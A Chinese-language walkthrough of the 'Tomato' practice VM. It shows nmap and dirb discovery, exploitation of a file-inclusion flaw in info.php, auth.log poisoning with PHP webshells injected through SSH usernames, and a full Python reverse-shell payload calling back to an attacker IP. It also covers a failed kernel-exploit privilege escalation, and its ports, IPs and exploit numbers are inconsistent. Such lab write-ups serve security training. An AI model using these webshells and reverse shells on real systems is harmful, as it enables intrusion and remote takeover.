当前位置: 首页 > news >正文

Tomato靶机

修改网络模式为NAT

主机发现

arp-scan -l

端口扫描

nmap 192.168.48.147

nmap -sC -sV -O 192.168.48.147
-sC常见漏洞脚本扫描 -sV开放端口服务/版本号 -O操作系统探测

端口利用

访问web服务

目录扫描

dirb http://192.168.48.147

访问

http://192.168.48.147/antibot_image/

查看info.php的页面源码

发现存在文件包含漏洞

利用文件包含漏洞

http://192.168.48.147/antibot_image/antibots/info.php?image=/etc/passwd

扫描全部端口

nmap -A 192.168.48.147 -p-

扫描出来2211端口,是ssh的连接端口

方法1:报错链接2211

ssh '<?php @eval($_POST["1"]);?>'@192.168.48.147 -p 2211

代码分析

这段代码是一个 SSH 命令。

它的目的是尝试通过 SSH 连接到 IP 地址为 192.168.47.140 的主机,端口号为 2211 ,并传递了一段 PHP 代码 <?php @eval($_POST["1"]);?> 。

然而,这段 PHP 代码存在严重的安全问题。@eval($_POST["1"]); 会无条件地执行通过 $_POST["1"] 传入的任何代码。这意味着如果攻击者能够控制传入 $_POST["1"] 的内容,他们就可以在服务器上执行任意恶意代码,从而导致服务器被入侵、数据泄露、服务被破坏等严重后果。

然后在网页端查看ubuntu报错信息:/var/log/auth.log

/var/log/auth.log 记录了所有和用户认证相关的日志 。无论是我们通过 ssh 登录,还是通过 sudo 执行命令都会在 auth.log 中产生记录。

该目录下发现多了一些报错信息,大概率写入木马成功,

使用蚁剑连接

http://192.168.48.147/antibot_image/antibots/info.php?image=/var/log/auth.log

查看完整网站目录

打开虚拟终端

方法二:使用python3反弹shell

ssh '<?php echo system($_GET["1"]);?>'@192.168.48.147 -p 2211

代码分析

这段代码看起来是一个 SSH(Secure Shell)命令的尝试。然而,其中包含的 PHP 代码部分是存在严重安全风险的。

在 PHP 代码 <?php echo system($_GET["1"]);?> 中,它直接获取了通过 $_GET 传递的参数 1 并使用 system 函数来执行。这意味着任何人都可以通过在 URL 中提供特定的参数值来执行任意系统命令,这可能导致服务器被入侵、数据泄露、系统被破坏等严重后果。

例如,如果攻击者在 URL 中提供 rm -rf / 作为 1 的参数值,那么服务器上的根目录可能会被删除,造成无法挽回的损失。

下面命令执行成功,说明一句话木马写入成功

http://192.168.48.147/antibot_image/antibots/info.php?image=/var/log/auth.log&1=id

打开监听端口

nc -lnvp 6666

使用python3进行反弹shell,在浏览器中输入

http://192.168.48.147/antibot_image/antibots/info.php?image=/var/log/auth.log&aaa=python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22192.168.48.131%22,4444));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27
import socket, subprocess, os# 创建一个TCP/IP socket对象
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)# 连接到指定IP和端口
s.connect(("192.168.48.131", 4444))# 重新映射标准输入输出和错误到这个socket
os.dup2(s.fileno(), 0)  # stdin
os.dup2(s.fileno(), 1)  # stdout
os.dup2(s.fileno(), 2)  # stderr# 使用subprocess调用/bin/sh启动一个交互式shell
p = subprocess.call(["/bin/sh", "-i"])

kali监听到操作,成功获得靶机shell

生成可交互式的shell

python3 -c "import pty;pty.spawn('/bin/bash')"

提权(我提权失败,因为版本不匹配,不过可以一试)

查看系统内核版本:uname -a

在kali中查找该系统内核的提权包

searchsploit ubuntu 4.4.0-21

下载44298.c

searchsploit -p 43234.c

编译文件

gcc 45010.c -o exp

到tmp目录下下载提权POC

执行文件:./exp

执行失败尝试更新

ldd --version

版本不匹配提权失败

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 数组——对数组进行更加全面的理解
  • 前端性能优化-CSS 相关的性能优化策略
  • <数据集>灭火器识别数据集<目标检测>
  • Centos7.9操作系统kdump crash文件vmcore未生成问题
  • Python酷库之旅-第三方库Pandas(067)
  • 排序算法:插入排序,golang实现
  • Java优化后台分页
  • 32-《蝴蝶兰》
  • STM32 驱动直流无刷电机(BLDC)发声
  • 使用Python编写文件重复检查器
  • ffmpeg-cavs识别广电流
  • OpenAI 取消为 ChatGPT 加水印计划,用户反应成关键因素|TodayAI
  • 1. protobuf学习
  • go语言flag库学习
  • 一个是生产打包的时候, 一个是本地测试启动的时候,maven如何配置?
  • Angular2开发踩坑系列-生产环境编译
  • CSS实用技巧
  • es6(二):字符串的扩展
  • JavaScript新鲜事·第5期
  • js数组之filter
  • Laravel5.4 Queues队列学习
  • miniui datagrid 的客户端分页解决方案 - CS结合
  • mysql innodb 索引使用指南
  • php的插入排序,通过双层for循环
  • rabbitmq延迟消息示例
  • Sass Day-01
  • springMvc学习笔记(2)
  • vue-router 实现分析
  • vue数据传递--我有特殊的实现技巧
  • 阿里中间件开源组件:Sentinel 0.2.0正式发布
  • 名企6年Java程序员的工作总结,写给在迷茫中的你!
  • 如何合理的规划jvm性能调优
  • 如何进阶一名有竞争力的程序员?
  • 视频flv转mp4最快的几种方法(就是不用格式工厂)
  • 新书推荐|Windows黑客编程技术详解
  • 一些关于Rust在2019年的思考
  • d²y/dx²; 偏导数问题 请问f1 f2是什么意思
  • mysql 慢查询分析工具:pt-query-digest 在mac 上的安装使用 ...
  • Prometheus VS InfluxDB
  • ​ 全球云科技基础设施:亚马逊云科技的海外服务器网络如何演进
  • ​Base64转换成图片,android studio build乱码,找不到okio.ByteString接腾讯人脸识别
  • # 数仓建模:如何构建主题宽表模型?
  • ( )的作用是将计算机中的信息传送给用户,计算机应用基础 吉大15春学期《计算机应用基础》在线作业二及答案...
  • (ctrl.obj) : error LNK2038: 检测到“RuntimeLibrary”的不匹配项: 值“MDd_DynamicDebug”不匹配值“
  • (el-Transfer)操作(不使用 ts):Element-plus 中 Select 组件动态设置 options 值需求的解决过程
  • (Matlab)基于蝙蝠算法实现电力系统经济调度
  • (办公)springboot配置aop处理请求.
  • (分类)KNN算法- 参数调优
  • (四) Graphivz 颜色选择
  • (贪心 + 双指针) LeetCode 455. 分发饼干
  • ******IT公司面试题汇总+优秀技术博客汇总
  • .NET 8.0 中有哪些新的变化?
  • .Net Core 中间件验签
  • .NET MAUI Sqlite数据库操作(二)异步初始化方法
  • .net php 通信,flash与asp/php/asp.net通信的方法